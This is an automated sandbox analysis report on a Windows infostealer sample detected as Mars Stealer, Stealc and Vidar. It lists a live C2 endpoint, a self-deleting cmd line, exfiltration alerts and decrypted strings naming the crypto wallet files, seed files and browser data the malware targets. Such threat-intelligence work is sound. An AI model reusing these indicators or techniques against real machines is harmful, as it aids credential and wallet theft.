Edit tour

Windows Analysis Report
m0wsoI3.exe

Overview

General Information

Sample name:	m0wsoI3.exe
Analysis ID:	1640592
MD5:	599e5d1eea684ef40fc206f71b5d4643
SHA1:	5111931bba3c960d14b44871950c62249aeefff7
SHA256:	2321c97ec6ac02f588357ad3d72df237f3042054f603851587c59eaef5ceb13c
Tags:	ArkeiStealerexeuser-abuse_ch
Infos:

Detection

Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

PE file has a writeable .text section

PE file has nameless sections

Performs DNS queries to domains with low reputation

Sample uses string decryption to hide its real strings

Self deletion via cmd or bat file

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

m0wsoI3.exe (PID: 7292 cmdline: "C:\Users\user\Desktop\m0wsoI3.exe" MD5: 599E5D1EEA684EF40FC206F71B5D4643)

cmd.exe (PID: 7872 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\m0wsoI3.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7920 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.lexfo.fr/StealC_malware_analysis_part1.html https://blog.lexfo.fr/StealC_malware_analysis_part2.html https://blog.lexfo.fr/StealC_malware_analysis_part3.html https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Mars Stealer

{"C2 url": "ctrlgem.xyz/gate.php"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
m0wsoI3.exe	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1233026498.000000000043C000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x4520:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1300112411.000000000043C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xd6d0:$a2: wallet.dat 0xdf70:$b1: CC\%s_%s.txt 0xe578:$b2: History\%s_%s.txt 0xe238:$b3: Autofill\%s_%s.txt
Process Memory Space: m0wsoI3.exe PID: 7292	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: m0wsoI3.exe PID: 7292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: m0wsoI3.exe PID: 7292	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x79bfe:$a2: wallet.dat 0x7a1e0:$b1: CC\%s_%s.txt 0x7a6ce:$b2: History\%s_%s.txt 0x7a3bd:$b3: Autofill\%s_%s.txt 0x7a3d0:$b3: Autofill\%s_%s.txt
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x27f1:$a2: wallet.dat 0x281f:$a2: wallet.dat 0x6fd1:$b1: CC\%s_%s.txt 0x6fff:$b1: CC\%s_%s.txt 0x7257:$b2: History\%s_%s.txt 0x728a:$b2: History\%s_%s.txt 0x6ee5:$b3: Autofill\%s_%s.txt 0x6f19:$b3: Autofill\%s_%s.txt
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x27f1:$a2: wallet.dat 0x281f:$a2: wallet.dat 0x10ce1:$a2: wallet.dat 0x6fd1:$b1: CC\%s_%s.txt 0x6fff:$b1: CC\%s_%s.txt 0x12ff2:$b1: CC\%s_%s.txt 0x7257:$b2: History\%s_%s.txt 0x728a:$b2: History\%s_%s.txt 0x13135:$b2: History\%s_%s.txt 0x6ee5:$b3: Autofill\%s_%s.txt 0x6f19:$b3: Autofill\%s_%s.txt 0x12f7c:$b3: Autofill\%s_%s.txt
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.m0wsoI3.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.m0wsoI3.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.m0wsoI3.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.m0wsoI3.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.m0wsoI3.exe.400000.0.unpack	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x4920:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
0.2.m0wsoI3.exe.400000.0.unpack	infostealer_win_mars_stealer_xor_routine	Detect Mars Stealer based on a specific XOR routine	Sekoia.io	0x492c:$xor: 8B 4D 08 03 4D F4 0F BE 19 8B 55 0C 52 E8 C2 FE 00 00 83 C4 04 8B C8 8B 45 F4 33 D2 F7 F1 8B 45 0C 0F BE 0C 10 33 D9 8B 55 F8 03 55 F4 88 1A EB BE
Click to see the 1 entries

Suricata Signatures

ET MALWARE Base64 Encoded Stealer Config from Server - APPDATA or USERPROFILE Environment Variable M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T13:22:11.871353+0100	2035884	1	Malware Command and Control Activity Detected	188.114.97.3	80	192.168.2.6	49693	TCP

ET MALWARE Generic gate .php GET with minimal headers

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T13:22:11.596119+0100	2022818	1	A Network Trojan was detected	192.168.2.6	49693	188.114.97.3	80	TCP

ET MALWARE Trojan Generic - POST To gate.php with no accept headers

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T13:22:16.482931+0100	2022985	1	A Network Trojan was detected	192.168.2.6	49693	188.114.97.3	80	TCP

ET MALWARE Trojan Generic - POST To gate.php with no referer

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T13:22:16.482931+0100	2017930	1	A Network Trojan was detected	192.168.2.6	49693	188.114.97.3	80	TCP

ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T13:22:16.492531+0100	2033163	1	A Network Trojan was detected	192.168.2.6	49693	188.114.97.3	80	TCP

ET MALWARE Win32/Vidar Variant/Mars Stealer Resources Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T13:22:12.097898+0100	2036654	1	A Network Trojan was detected	188.114.97.3	80	192.168.2.6	49693	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: m0wsoI3.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ctrlgem.xyz/gate.php	Avira URL Cloud: Label: malware
Source: ctrlgem.xyz/gate.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.m0wsoI3.exe.400000.0.unpack

Malware Configuration Extractor: Mars Stealer {"C2 url": "ctrlgem.xyz/gate.php"}

Multi AV Scanner detection for submitted file

Source: m0wsoI3.exe	Virustotal: Detection: 82%			Perma Link
Source: m0wsoI3.exe	ReversingLabs: Detection: 83%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Sleep
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Sleep
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLastError
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLastError
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 21/04/2022 20:00:00
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 21/04/2022 20:00:00
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: http://
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: http://
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Default
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Default
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: open
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: open
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: .zip
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: .zip
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Tag:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Tag:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Working Path:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Working Path:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Local Time:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Local Time:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Display Language:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Display Language:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Processor:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Processor:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: OS:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: OS:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: (
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: (
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Bit)
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Bit)
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Videocard:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Videocard:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: PC name:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: PC name:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: User name:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: User name:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Domain name:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Domain name:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MachineID:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MachineID:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GUID:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GUID:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: system.txt
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: system.txt
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Ethereum
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Ethereum
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: keystore
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: keystore
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Electrum
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Electrum
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: .
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: .
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Exodus
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Exodus
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: window-state.json
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: window-state.json
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: seed.seco
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: seed.seco
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: info.seco
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: info.seco
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: default_wallet
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: default_wallet
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: JAXX
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: JAXX
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Atomic
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Atomic
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 000003.log
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 000003.log
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CURRENT
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CURRENT
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LOCK
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LOCK
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LOG
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LOG
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 0000*
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 0000*
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Binance
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Binance
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Binance\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Binance\
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: app-store.json
Source: 0.2.m0wsoI3.exe.400000.0.unpack	String decryptor: app-store.json
